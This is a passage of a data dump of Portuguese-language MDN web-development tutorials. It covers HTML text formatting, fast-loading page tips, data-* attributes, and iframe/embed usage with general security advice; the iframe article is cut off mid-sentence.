confusas.\n\nAqui está a melhor regra geral: provavelmente é apropriado usar `<b>`, `<i>` ou `<u>` para transmitir um significado tradicionalmente transmitido com negrito, itálico ou sublinhado, desde que não exista um elemento mais adequado. No entanto, sempre é essencial manter uma mentalidade de acessibilidade. O conceito de itálico não é muito útil para pessoas que usam leitores de tela ou para pessoas que usam um sistema de escrita diferente do alfabeto Latino.\n\n* `<i>` é usado para transmitir um significado tradicionalmente transmitido por itálico: palavras estrangeiras, designação taxonômica, termos técnicos, um pensamento...\n* `<b>` é usado para transmitir um significado tradicionalmente transmitido por negrito: palavras-chave, nomes de produtos, sentença principal...\n* `<u>` (en-US) é usado para transmitir um significado tradicionalmente transmitido pelo sublinhado: nome próprio, erro de ortografia...\n\n**Nota:** Um aviso amável sobre o sublinhado: **as pessoas associam fortemente o sublinhado com hiperlinks**. Portanto, na Web, é melhor sublinhar apenas os links. Use o elemento `<u>` quando for semanticamente apropriado, mas considere usar o CSS para alterar o sublinhado padrão para algo mais apropriado na Web. O exemplo abaixo ilustra como isso pode ser feito.\n\n\n```html\n<!-- nomes científicos -->\n<p>\n  O Colibri Ruby-throated (<i>Archilochus colubris</i>) é o colibri mais comum\n  do Leste da América do Norte.\n</p>\n\n<!-- palavras estrangeiras -->\n<p>\n  O menu era um mar de palavras exóticas como <i lang=\"uk-latn\">vatrushka</i>,\n  <i lang=\"id\">nasi goreng</i> e <i lang=\"fr\">soupe à l'oignon</i>.\n</p>\n\n<!-- um erro de ortografia conhecido -->\n<p>\n  Algum dia eu vou aprender como\n  <u style=\"text-decoration-line: underline; text-decoration-style: wavy;\"\n >jogar</u\n >\n  melhor.\n</p>\n\n<!-- Destaque as palavras-chave em um conjunto de instruções -->\n<ol>\n  <li><b>Fatie</b>dois pedaços de pão do pão.</li>\n  <li>\n    <b>Colocar</b> uma fatia de tomate e uma folha de alface entre as fatias de\n    pão.\n  </li>\n</ol>\n```\n\nTeste suas habilidades!\n-----------------------\n\nVocê chegou ao final deste artigo, mas consegue se lembrar das informações mais importantes? Você pode encontrar alguns testes adicionais para verificar se você absorveu essas informações antes de prosseguir — consulte Teste suas habilidades: noções básicas de texto HTML.\n\nResumo\n------\n\nPor enquanto é isso! Este artigo deve fornecer uma boa idéia de como começar a marcar texto em HTML e apresentar alguns dos elementos mais importantes nessa área. Há muito mais elementos semânticos a serem abordados nesta área, e veremos muito mais em nosso artigo de Formatação avançada de texto, mais adiante neste curso. No próximo artigo, veremos detalhadamente como criar links, possivelmente o elemento mais importante na Web.\n\n* Anterior\n* Menu: Introduction to HTML\n* Próxima"}
{"title":"Dicas para criar páginas HTML de carregamento rápido - Aprendendo desenvolvimento web","text":"Dicas para criar páginas HTML de carregamento rápido\n====================================================\n\nEstas dicas são baseadas em conhecimento comum e experimentação.\n\nUma página web otimizada não apenas provê um site mais responsivo aos visitantes, como também reduz a carga sobre os servidores e a conexão com a Internet. Isso pode ser crucial para sites de grande volume ou sites que tenham um pico de tráfego devido a circunstâncias extraordinárias, como plantões de notícias urgentes.\n\nOtimizar a performance do carregamento de páginas não serve apenas para o conteúdo que será visto por visitantes com linha discada ou aparelhos móveis. É igualmente importante para banda larga e pode levar a melhorias dramáticas até mesmo para seus visitantes com as mais rápidas conexões.\n\nDicas\n-----\n\n### Reduza o peso da página\n\nO peso da página é, de longe, o fator mais importante na performance de seu carregamento.\n\nReduzir o peso da página através da eliminação de espaço em branco desnecessário e comentários, comumente conhecido como minimização, e mover scripts e CSS *inline* para arquivos externos pode melhorar a performance de download sem muita necessidade de outras mudanças na estrutura da página.\n\nFerramentas como HTML Tidy podem automaticamente cortar espaços em branco desnecessários e linhas vazias de um código HTML validado. Outras ferramentas podem \"comprimir\" JavaScript ao reformatar o código-fonte ou o obfuscando e substituindo identificadores longos por versões mais curtas.\n\n### Minimize o número de arquivos\n\nReduzir o número de arquivos referenciados por uma página diminui o número de conexões HTTP (en-US) requeridas para realizar o download da página.\n\nDependendo das configurações de cache do *browser*, este pode enviar uma requisição `If-Modified-Since` ao servidor para cada arquivo CSS, JavaScript ou de imagem, perguntando se o arquivo foi modificado desde a última vez que foi baixado.\n\nAo reduzir o número de arquivos referenciados de dentro de uma página, reduz-se o tempo necessário para essas requisições serem enviadas e suas respostas recebidas.\n\nSe você usa muitas imagens de fundo em seu CSS, pode reduzir o número de verificações HTTP combinando imagens em um único arquivo, o que é conhecido como um *sprite* de imagens. Então você apenas utiliza a mesma imagem cada vez que precisá-la, ajustando as coordenadas x/y apropriadamente. Essa técnica funciona melhor com elementos que terão dimensões limitadas, não sendo aplicável para todas as imagens. Contudo, o número menor de requisições HTTP e *caching* de uma única imagem devem ajudar a reduzir o tempo de carregamento.\n\nMuito tempo gasto pesquisando quando foi a modificação mais recente de arquivos referenciados pode atrasar a exibição inicial de uma página, já que o *browser* deve verificar o momento de modificação para cada arquivo CSS ou JavaScript antes de carregar a página.\n\n### Reduza pesquisa de domínio\n\nJá que cada domínio distinto demanda tempo durante uma pesquisa de DNS, o tempo de carregamento da página aumentará conforme o número de domínios distintos que aparecem em links de CSS e fontes de JavaScript e imagens.\n\nPode nem sempre ser prático, mas você deve sempre tomar cuidado para utilizar apenas o mínimo necessário de domínios diferentes nas suas páginas.\n\n### Conteúdo em cache reutilizado\n\nAssegure que qualquer conteúdo que possa ser armazenado em cache o seja, e com tempos de expiração adequados.\n\nEm especial, atente ao cabeçalho `Last-Modified`. Ele permite mecanismos de cache eficientes; através desse cabeçalho, informações sobre o arquivo que o agente de usuário quer carregar, como quando foi modificado da última vez, são transferidas. A maioria dos servidores web automaticamente anexam o cabeçalho `Last-Modified` a páginas estáticas (p. ex.: `.html`, `.css`), baseado na data de última modificação armazenada no sistema de arquivos. Com páginas dinâmicas (p. ex:`.php`, `.aspx`), isso não pode ser feito, e o cabeçalho não é enviado.\n\nEntão, para essas páginas que são geradas dinamicamente, alguma pesquisa adicional é benéfica. Isso vai salvar muito tempo em requisições nas páginas que normalmente não permitem armazenamento em cache.\n\nMais informações:\n\n1. Get HTTP Condicional para Hackers RSS\n2. HTTP 304: Not Modified\n3. Sobre o Last-Modified HTTP e ETag\n### Estabeleça a ordem dos componentes da página de forma otimizada\n\nBaixe o conteúdo da página primeiro, junto com qualquer CSS ou JavaScript que pode ser requerido para sua exibição inicial, de modo que o usuário receba a resposta mais rápida possível durante o carregamento. Esse conteúdo é tipicamente texto, e portanto pode ser beneficiado por técnicas de compressão de texto durante o tráfego, permitindo uma resposta ainda mais rápida ao usuário.\n\nQuaisquer elementos dinâmicos que requeiram que a página complete seu carregamento antes de serem usados devem ser inicialmente desabilitados, e apenas habilitados após o carregamento completo. Isso fará com que o JavaScript seja carregado após o conteúdo da página, o que melhorará a aparência geral do carregamento.\n\n### Reduza o número de scripts *inline*\n\nScripts *inline* podem ser custosos para o carregamento, uma vez que o parser deve assumir que o script pode modificar a estrutura da página enquanto o processo de *parsing* está em andamento. Reduzir o número de scripts *inline* no geral e reduzir o uso de `document.write()` para a saída de conteúdo pode melhorar o carregamento da página. Use métodos AJAX modernos para manipular o conteúdo da página, ao invés de abordagens antigas baseadas em `document.write()`.\n\n### Use CSS moderno e marcação validada\n\nO uso de CSS moderno reduz a quantidade de marcação, pode reduzir a necessidade de imagens, em termos de layout, e frequentemente substitui imagens de textos estilizados — que \"custam\" muito mais do que o texto estilizado com CSS.\n\nUsar marcações validadas tem outras vantagens. Primeiro, *browsers* não precisarão realizar correção de erros durante o *parsing* de HTML (isso é à parte da preocupação filosófica de permitir variação de formato na entrada do usuário, e então programaticamente \"corrigir\" ou normalizá-la; ou se, ao invés disso, forçar um formato de entrada rígido, sem tolerância a desvios).\n\nAlém do mais, marcação válida permite o livre uso de outras ferramentas que podem pré-processar páginas web. Por exemplo, HTML Tidy pode remover espaços em branco e tags finais opcionais; contudo, a ferramenta não será executada em uma página com erros graves de marcação.\n\n### Divida seu conteúdo\n\nLayout de tabelas é um método legado que não deve mais ser empregado. Layouts utilizando blocos `<div>` e, no futuro próximo, layout multi-colunas CSS3 (en-US) ou layout de caixas flexíveis CSS3, devem ser utilizadas ao invés disso.\n\nTabelas ainda são consideradas marcações válidas, mas devem ser usadas para exibir dados tabulares. Para ajudar o browser a renderizar sua página mais rapidamente, você deve evitar aninhar suas tabelas.\n\nAo invés de realizar aninhamentos profundos como:\n```\n\n<TABLE>\n  <TABLE>\n    <TABLE>\n          ...\n    </TABLE>\n  </TABLE>\n</TABLE>\n```\n\n\nuse tabelas não-aninhadas ou divs, como em\n```\n\n<TABLE>...</TABLE>\n<TABLE>...</TABLE>\n<TABLE>...</TABLE>\n```\n\n\nVeja também: Especificações do layout multi-colunas CSS3 e layout de caixas flexíveis CSS3\n\n### Especifique tamanhos para imagens e tabelas\n\nSe o *browser* puder imediatamente determinar a altura e/ou largura de suas imagens e tabelas, ele será capaz de exibir uma página sem ter que recalcular o fluxo do conteúdo. Isso não apenas acelera a exibição da página como previne mudanças irritantes no layout ao finalizar o carregamento. Por essa razão, `height` e `width` devem ser especificadas para imagens, sempre que possível.\n\nTabelas devem usar a combinação CSS selector:property:\n```\n\n  table-layout: fixed;\n```\n\n\ne devem especificar as larguras das colunas usando as tags HTML `COL` e `COLGROUP`.\n\n### Escolha bem seus requisitos de agente de usuário\n\nPara atingir as maiores melhorias no design de páginas, tenha certeza de que requisitos de agente de usuário razoáveis estejam especificados para os projetos. Não espere que seu conteúdo apareça de forma perfeita, pixel por pixel, em todos os *browsers*, especialmente nos obsoletos.\n\nIdealmente, seus requisitos básicos devem ser baseados em considerações sobre os *browsers* modernos que suportam os padrões relevantes. Isso pode incluir: Firefox 3.6+ em qualquer plataforma, Internet Explorer 8.0+ no Windows, Opera 10+ no Windows, e Safari 4 no Mac OS X.\n\nNote, contudo, que muitas das dicas listadas neste artigo são técnicas de senso comum que se aplicam a qualquer agente-usuário, e podem ser aplicadas a qualquer página web, independentemente de requisitos de compatibilidade em *browsers*.\n\nExemplo de estrutura de página\n------------------------------\n\n* `html`\n* `head`\n    + `link`...\n     Arquivos CSS requeridos para a aparência da página. Minimize o número de arquivos para performance enquanto mantém CSS não-relacionado em arquivos separados para manutenção.\n    + `script`...\n     Arquivos JavaScript para funções **requeridas** durante o carregamento da página, sem qualquer DHTML que só pode ser executado após o carregamento completo.\n* Minimize o número de arquivos para performance enquanto mantém JavaScript não-relacionado em arquivos separados para manutenção.\n* `body`\n* Páginas de conteúdo visíveis ao usuário em pequenas divisões (tabelas / divs) que podem ser exibidas sem esperar a página inteira ser baixada.\n    + `script`...\n     Quaisquer scripts que forem usados para realizar DHTML. Um script DHTML geralmente só pode ser executado após o carregamento completo da página e a inicialização de todos os objetos necessários. Não há necessidade de carregar esses scripts antes do conteúdo. Isso apenas desacelera a aparência inicial do carregamento da página.\n* Minimize o número de arquivos para performance enquanto mantém CSS não-relacionado em arquivos separados para manutenção.\n* Se uma ou mais imagens forem usadas para efeitos de *rollover*, você deve pré-carregá-las aqui após o conteúdo da página ter sido baixado.\nUse async and defer, se possível\n--------------------------------\n\nFaça com que scripts JavaScript sejam compatíveis tanto com async (en-US) como defer (en-US) e use async (en-US) sempre que possível, especialmente se você tiver múltiplas tags de script.\n\nCom isso, a página pode parar de renderizar enquanto o JavaScript ainda estiver sendo carregado. Do contrário, o *browser* não renderizará nada que estiver após as tags de script sem esses atributos.\n\nNota: Apesar desses atributos ajudarem muito na primeira vez que a página for carregada, você não pode confiar que vai funcionar em todos os *browsers*. Se você seguir todas as orientações para produzir bom código JavaScript, não há necessidade de alterá-lo.\n\nLinks Relacionados\n------------------\n\n* Livro: \"Speed Up Your Site\" por Andy King\n* O excelente e muito completo Melhores Práticas para Acelerar Seu Web Site (Yahoo!)\n* Ferramentas para analisar e otimizar a performance: Google PageSpeed\nInformações do Documento Original\n---------------------------------\n\n* Autor(es): Bob Clary, Evangelista de Tecnologia, Netscape Communications\n* Última Data de Atualização: Publicado em 04 Abr 2003\n* Informações de Copyright: Copyright © 2001-2003 Netscape. Todos os direitos reservados.\n* Nota: Este artigo reeditado foi originalmente parte do site DevEdge."}
{"title":"Utilizando data attributes - Aprendendo desenvolvimento web","text":"Utilizando data attributes\n==========================\n\nO HTML5 (en-US) foi criado pensando na extensibilidade dos dados que precisam ser associados a um determinado elemento mas não necessariamente tem um significado definido. Atributos data-\\* nos permite armazenar informações extras em elementos HTML padrões e semânticos, sem a necessidades de hacks como classList (en-US), atributos fora do padrão, propriedades extras no DOM ou o método depreciado setUserData.\n\nSintaxe HTML\n------------\n\nA sintaxe é simples. Qualquer atributo de qualquer elemento no qual o nome do atributo inicia com `data-` é um atributo data. Digamos que você possui um article e quer armazenar informações extras que não possuem nenhuma representação visual. Use atributos data para isso:\n\n\n```html\n<article\n id=\"electriccars\"\n data-columns=\"3\"\n data-index-number=\"12314\"\n data-parent=\"cars\">\n  ...\n</article>\n```\n\nAcesso no JavaScript\n--------------------\n\nLer os valores destes atributos via JavaScript é muito simples também. Você pode lê-los usando `getAttribute()` com o nome html completo, mas a forma padrão provê uma alternativa mais simples: um `DOMStringMap` pode ser lido através da propriedade `dataset` (en-US).\n\nPara obter o atributo data através do objeto `dataset`, acesse a propriedade utilizando a parte do nome do atributo após o prefixo `data-` (note que o hífen é convertido para camelCase).\n\n\n```js\nvar article = document.getElementById(\"electriccars\");\n\narticle.dataset.columns; // \"3\"\narticle.dataset.indexNumber; // \"12314\"\narticle.dataset.parent; // \"cars\"\n```\n\n\nCada propriedade é uma String e pode ser lida e escrita. No exemplo acima a atribuição `article.dataset.columns = 5` iria alterar esse atributo para \"5\".\n\nAcesso no CSS\n-------------\n\nNote que os atributos data são atributos em HTML puro, e você pode inclusive acessá-los via CSS. Por exemplo, para mostrar o elemento pai em um artigo, você pode usar conteúdo gerado em CSS com a função `attr()`:\n\n\n```css\narticle::before {\n  content: attr(data-parent);\n}\n```\n\n\nPode-se também usar os seletores de atributos em CSS para alterar estilos de acordo com o atributo data:\n\n\n```css\narticle[data-columns=\"3\"] {\n  width: 400px;\n}\narticle[data-columns=\"4\"] {\n  width: 600px;\n}\n```\n\n\nPode-se tudo isso em funcionamento neste exemplo JSBin.\n\nAtributos data também podem ser utilizados para conter informações que mudam constantemente, como a pontuação em um jogo. Usando seletores CSS e acesso com JavaScript permite que se construa efeitos excelentes sem ter que escrever suas próprias rotinas de display. Veja esta tela para um exemplo utilizando conteúdo gerado e transições CSS (exemplo JSBin).\n\nUma vez que valores data são strings, todos os valores devem estar entre aspas ou então a estilização não fará efeito.\n\nIssues\n------\n\nNão armazene conteúdo que deve estar visível e acessível nos atributos data porque tecnologias assistivas podem não acessá-los. Além disso, motores de busca podem não indexar os valores dos atributos data.\n\nOs principais issues a serem considerados são com suporte e performance no Internet Explorer. O Internet Explorer 11+ provê suporte para o padrão, mas todas as versões anteriores não suportam `dataset`. Para suporte ao IE 10 e anteriores, deve-se acessar atributos data através de `getAttribute()` . E ainda, a performance de leitura dos atributos data é ruim, comparada com o armazenamento em um data warehouse JS. O uso de `dataset` é até pior que a leitura dos dados com `getAttribute()`.\n\nApesar do que foi colocado, para metadados customizados associados a elementos, eles são uma ótima solução.\n\nNo Firefox 49.0.2 (e talvez em versões anteriores/posteriores), os atributos data que excederem 1022 caracteres não serão lidos pelo Javascript (EcmaScript 4).\n\nVeja também\n-----------\n\n* Este artigo é uma adaptação de Usando atributos data em JavaScript e CSS no hacks.mozilla.org.\n* Como usar atributos data em HTML5 (Sitepoint)"}
{"title":"Do objeto ao iframe - outras tecnologias de incorporação - Aprendendo desenvolvimento web","text":"Do objeto ao iframe - outras tecnologias de incorporação\n========================================================\n\n* Anterior\n* Menu: Multimedia and embedding\n* Próxima\n\nAté agora você já deve ter aprendido a incorporar coisas em suas páginas da web, incluindo imagens, vídeo e áudio. Neste ponto, gostaria de ter um pouco de um passo para o lado, olhando para alguns elementos que permitem incorporar uma ampla variedade de tipos de conteúdo em suas páginas: as `<iframe>`, `<embed>`e `<object>` (en-US)elementos. `<iframe>`s são para incorporar outras páginas da Web, e as outras duas permitem incorporar PDFs, SVG e até Flash - uma tecnologia que está saindo, mas que você ainda verá semi-regularmente.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento básico em informática,\n software básico instalado\n , conhecimento básico sobre o\n trabalho com arquivos\n , familiaridade com os fundamentos de HTML (conforme abordado em\n Introdução ao HTML\n ) e os artigos anteriores deste módulo.\n  |\n| Objetivo: | \n\n|  |\n| --- |\n| \n Para saber como itens incorporar em páginas da web que usam\n `<object>` (en-US),\n `<embed>`e\n `<iframe>`, como filmes em Flash e outras páginas da web.\n  |\n\n |\n\nUma breve história de incorporação\n----------------------------------\n\nHá muito tempo, na Web, era popular o uso de **quadros** para criar sites - pequenas partes de um site armazenadas em páginas HTML individuais. Elas foram incorporadas em um documento mestre chamado **conjunto de quadros**, que permitiu especificar a área na tela que cada quadro preenchia, como dimensionar as colunas e linhas de uma tabela. Eles foram considerados o auge da frescura entre a metade e o final dos anos 90, e havia evidências de que ter uma página da Web dividida em partes menores como essa era melhor para as velocidades de download - especialmente perceptível pelas conexões de rede que eram tão lentas na época. No entanto, eles tinham muitos problemas, que superavam quaisquer positivos à medida que as velocidades da rede ficavam mais rápidas, para que você não as veja mais sendo usadas.\n\nUm pouco mais tarde (final dos anos 90, início dos anos 2000), as tecnologias de plug-in tornaram-se muito populares, como Java Applets (en-US) e Flash - isso permitiu que os desenvolvedores da Web incorporassem conteúdo rico em páginas da Web, como vídeos e animações, que não estavam disponíveis apenas no HTML. A incorporação dessas tecnologias foi alcançada através de elementos como `<object>` (en-US), e os menos utilizados `<embed>`, e eles eram muito úteis na época. Desde então, ficaram fora de moda devido a muitos problemas, incluindo acessibilidade, segurança, tamanho do arquivo e muito mais; hoje em dia, a maioria dos dispositivos móveis não suporta mais esses plug-ins, e o suporte para desktop está saindo.\n\nFinalmente, o elemento `<iframe>` apareceu (juntamente com outras formas de incorporar conteúdo, como `<canvas>`, `<video>` etc.). Isso fornece uma maneira de incorporar um documento da Web inteiro dentro de outro, como se fosse um `<img>`ou outro elemento, e é usado regularmente hoje .\n\nCom a lição de história fora do caminho, vamos seguir em frente e ver como usar algumas delas.\n\nAprendizado ativo: usos clássicos de incorporação\n-------------------------------------------------\n\nNeste artigo, vamos pular direto para uma seção de aprendizado ativo, para fornecer imediatamente uma idéia real de para que servem as tecnologias de incorporação. O mundo on-line está muito familiarizado com o Youtube , mas muitas pessoas não conhecem alguns dos recursos de compartilhamento disponíveis. Vejamos como o YouTube nos permite incorporar um vídeo em qualquer página que gostamos de usar `<iframe>`.\n\n1. Primeiro, vá ao Youtube e encontre o vídeo que você gosta.\n2. Abaixo do vídeo, você encontrará um botão *Compartilhar* - selecione para exibir as opções de compartilhamento.\n3. Selecione o botão *Incorporar* e você receberá um `<iframe>`código - copie isso.\n4. Insira-o na caixa de *entrada* abaixo e veja qual é o resultado na *saída* .\n\nPara pontos de bônus, você também pode tentar incorporar um mapa do Google no exemplo:\n\n1. Vá para o Google Maps e encontre um mapa que você gosta.\n2. Clique no \"Menu Hamburger\" (três linhas horizontais) no canto superior esquerdo da interface do usuário.\n3. Selecione a opção *Compartilhar ou incorporar mapa* .\n4. Selecione a opção Incorporar mapa, que fornecerá algum `<iframe>`código - copie isso.\n5. Insira-o na caixa de *entrada* abaixo e veja qual é o resultado na *saída* .\n\nSe você cometer um erro, sempre poderá redefini-lo usando o botão *Redefinir* . Se você realmente ficar atolado, pressione o botão *Mostrar solução* para ver uma resposta.\n```\n\n<h2>Live output</h2>\n\n<div class=\"output\" style=\"min-height: 250px;\"></div>\n\n<h2>Editable code</h2>\n<p class=\"a11y-label\">\n  Press Esc to move focus away from the code area (Tab inserts a tab character).\n</p>\n\n<textarea\n id=\"code\"\n class=\"input\"\n style=\"width: 95%;min-height: 100px;\"></textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nconst textarea = document.getElementById(\"code\");\nconst reset = document.getElementById(\"reset\");\nconst solution = document.getElementById(\"solution\");\nconst output = document.querySelector(\".output\");\nlet code = textarea.value;\nlet userEntry = textarea.value;\n\nfunction updateCode() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = htmlSolution;\n  solution.value = \"Show solution\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Show solution\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Hide solution\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Show solution\";\n  }\n  updateCode();\n});\n\nconst htmlSolution =\n  '<iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/QH2-TGUlwu4\" frameborder=\"0\" allowfullscreen>\\n</iframe>\\n\\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d37995.65748333395!2d-2.273568166412784!3d53.473310471916975!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487bae6c05743d3d%3A0xf82fddd1e49fc0a1!2sThe+Lowry!5e0!3m2!1sen!2suk!4v1518171785211\" width=\"600\" height=\"450\" frameborder=\"0\" style=\"border:0\" allowfullscreen>\\n</iframe>';\nlet solutionEntry = htmlSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  const scrollPos = textarea.scrollTop;\n  const caretPos = textarea.selectionStart;\n\n  const front = textarea.value.substring(0, caretPos);\n  const back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Show solution\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\nIframes em detalhes\n-------------------\n\nEntão, isso foi fácil e divertido, certo? Os elementos `<iframe>` foram projetados para permitir que você incorpore outros documentos da Web ao documento atual. Isso é ótimo para incorporar conteúdo de terceiros em seu site sobre o qual você pode não ter controle direto e não querer implementar sua própria versão - como vídeo de fornecedores de vídeo on-line, sistemas de comentários como Disqus , mapas on-line fornecedores de mapas, banners publicitários etc. Os exemplos editáveis ao vivo que você está usando neste curso são implementados usando `<iframe>`s.\n\nExistem algumas sérias preocupações de segurança a serem consideradas com `<iframe>`s, como discutiremos abaixo, mas isso não significa que você não deve usá-las em seus sites - apenas requer algum conhecimento e pensamento cuidadoso. Vamos explorar o código um pouco mais detalhadamente. Digamos que você queira incluir o glossário MDN em uma de suas páginas da web - você pode tentar algo como isto:\n```\n\n<iframe src=\"/pt-BR/docs/Glossary\"\n        width=\"100%\" height=\"500\" frameborder=\"0\"\n        allowfullscreen sandbox>\n  <p>\n    <a href=\"/pt-BR/docs/Glossary\">\n       Fallback link for browsers that don't support iframes\n    </a>\n  </p>\n</iframe>\n```\n\n\nEste exemplo inclui os fundamentos básicos necessários para usar um `<iframe>`:\n\n`allowfullscreen`\n\nSe definido, ele `<iframe>`poderá ser colocado no modo de tela cheia usando a API de tela cheia (en-US) (um pouco além do escopo deste artigo).\n\n`frameborder`\n\nSe definido como 1, isso indica ao navegador para desenhar uma borda entre esse quadro e outros quadros, que é o comportamento padrão. 0 remove a borda. Usar isso não é mais recomendado, pois o mesmo efeito pode ser melhor alcançado usando em seu CSS .`border` (en-US)`: none;`\n\n`src`\n\nEste atributo, como `<video>`/ `<img>`, contém um caminho apontando para o URL do documento a ser incorporado.\n\n`width` e `height`\n\nEsses atributos especificam a largura e a altura que você deseja que o iframe seja.\n\nConteúdo alternativo\n\nDa mesma forma que outros elementos semelhantes `<video>`, você pode incluir conteúdo de fallback entre as `<iframe></iframe>`tags de abertura e fechamento que aparecerão se o navegador não suportar `<iframe>`. Nesse caso, incluímos um link para a página. É improvável que você encontre qualquer navegador que não suporte `<iframe>`s atualmente.\n\n`sandbox`\n\nEsse atributo, que funciona em navegadores um pouco mais modernos que o restante dos `<iframe>`recursos (por exemplo, IE 10 e superior), requer configurações de segurança mais elevadas; falaremos mais sobre isso na próxima seção.\n\n\n**Nota:** Para melhorar a velocidade, é uma boa ideia definir o `src`atributo do iframe com JavaScript após o carregamento do conteúdo principal. Isso torna sua página utilizável mais cedo e diminui o tempo de carregamento da página oficial (uma importante métrica de SEO ).\n\n### Preocupações com segurança\n\nAcima, mencionamos preocupações de segurança - vamos abordar isso com mais detalhes agora. Não esperamos que você entenda todo esse conteúdo perfeitamente da primeira vez; queremos apenas que você fique ciente dessa preocupação e forneça uma referência para retornar à medida que for mais experiente e começar a considerar o uso de `<iframe>`s em seus experimentos e trabalhos. Além disso, não há necessidade de ter medo e não usar `<iframe>`s - você só precisa ter cuidado. Leia...\n\nFabricantes de navegadores e desenvolvedores da Web descobriram da maneira mais difícil que iframes são um alvo comum (termo oficial: **vetor de ataque** ) para pessoas más na Web (geralmente chamadas de **hackers** ou, mais precisamente, **crackers** ) atacarem se estiverem tentando modificar maliciosamente seu página da web ou induzir as pessoas a fazer algo que não desejam, como revelar informações confidenciais como nomes de usuário e senhas. Por esse motivo, engenheiros de especificações e desenvolvedores de navegadores desenvolveram vários mecanismos de segurança para torná- `<iframe>`los mais seguros, e também existem práticas recomendadas a serem consideradas - abordaremos alguns deles abaixo.\n\n**Nota:** Clickjacking é um tipo comum de ataque iframe, no qual hackers incorporam um iframe invisível ao documento (ou incorporam o documento ao próprio site malicioso) e o usam para capturar as interações dos usuários. Essa é uma maneira comum de enganar os usuários ou roubar dados confidenciais.\n\nUm primeiro exemplo rápido - tente carregar o exemplo anterior que mostramos acima em seu navegador - você pode encontrá-lo ao vivo no Github ( consulte o código-fonte também.) Na verdade, você não verá nada exibido na página e se olhar para o *console* nas ferramentas de desenvolvedor do navegador , você verá uma mensagem informando o motivo. No Firefox, você será informado sobre o *Load negado pelo X-Frame-Options: /pt-BR/docs/Glossary não permite o enquadramento* . Isso ocorre porque os desenvolvedores que criaram o MDN incluíram uma configuração no servidor que serve as páginas do site para impedir que elas sejam incorporadas dentro de `<iframe>`s (consulte Configurar diretivas CSP, abaixo.) Isso faz sentido - uma página MDN inteira não faz sentido para ser incorporada em outras páginas, a menos que você queira fazer algo como incorporá-las ao seu site e reivindicá-las como suas - ou tentar roubar dados via clickjacking , que são coisas muito ruins para se fazer. Além disso, se todos começassem a fazer isso, toda a largura de banda adicional começaria a custar muito dinheiro à Mozilla.\n\n#### Incorporar somente quando necessário\n\nÀs vezes, faz sentido incorporar conteúdo de terceiros - como vídeos e mapas do youtube -, mas você pode economizar muitas dores de cabeça se incorporar apenas conteúdo de terceiros quando completamente necessário. Uma boa regra geral para a segurança da Web é *\"Você nunca pode ser muito cauteloso. Se você fez isso, verifique-o de qualquer maneira. Se alguém o fez, assuma que é perigoso até prova em contrário\".*\n\nAlém da segurança, você também deve estar ciente dos problemas de propriedade intelectual. A maioria dos conteúdos tem direitos autorais, offline e online, mesmo o conteúdo que você não pode esperar (por exemplo, a maioria das imagens no Wikimedia Commons ). Nunca exiba conteúdo em sua página da Web, a menos que você seja o proprietário ou os proprietários tenham lhe dado uma permissão inequívoca por escrito. As penalidades por violação de direitos autorais são severas. Novamente, você nunca pode ser muito cauteloso.\n\nSe o conteúdo for licenciado, você deverá obedecer aos termos da licença. Por exemplo, o conteúdo no MDN é licenciado sob CC-BY-SA . Isso significa que você deve creditar-nos adequadamente quando citar nosso conteúdo, mesmo que faça alterações substanciais.\n\n#### Use HTTPS\n\nHTTPS é a versão criptografada do HTTP. Você deve utilizar HTTPS em seus websites sempre que possível:\n\n1. HTTPS reduz a chance de que conteúdo remoto tenha sido adulterado no caminho.\n2. HTTPS previne que conteúdo que tenha incorporado ao site acesse conteúdo em seu documento de origem, e vice versa.\n\nUtilizar HTTPS requer um certificado de segurança, que pode ser bem caro (apesar que o Let's Encrypt deixe as coisas mais fáceis) — se você não puder obter um certificado, você deve fornecer seus documentos com HTTP. Contudo, por conta do segundo benefício do HTTPS descrito acima, *não importa o custo, você nunca deve incorporar conteúdo de terceiros em HTTP.* (No caso do melhor cenário, o navegador de seu usuário irá dá-lo um aviso assustador.) Todas as empresas com boa reputação irão fornecer conteúdo para ser incoporado por meio `<iframe>` irá fazê-lo disponível através de HTTPS — veja a URLs dentro do `<iframe>` `no`atributo src, quando você está incorporando conteúdo do Google Maps ou Youtube, por exemplo.\n\n**Nota:** Páginas do Github (en-US) permitem que conteúdo seja fornecido via HTTPS por padrão, então é útil para hospedar conteúdo. Se você está utilizando uma hospedagem diferente e não tem certeza do mesmo, pergunte sobre com o seu provedor de hospedagem.\n\n#### Sempre utilize o atributo `sandbox`\n\nVocê deseja que os atacantes tenham a menor quantidade possível de poder para causar danos ao seu website, portanto, você 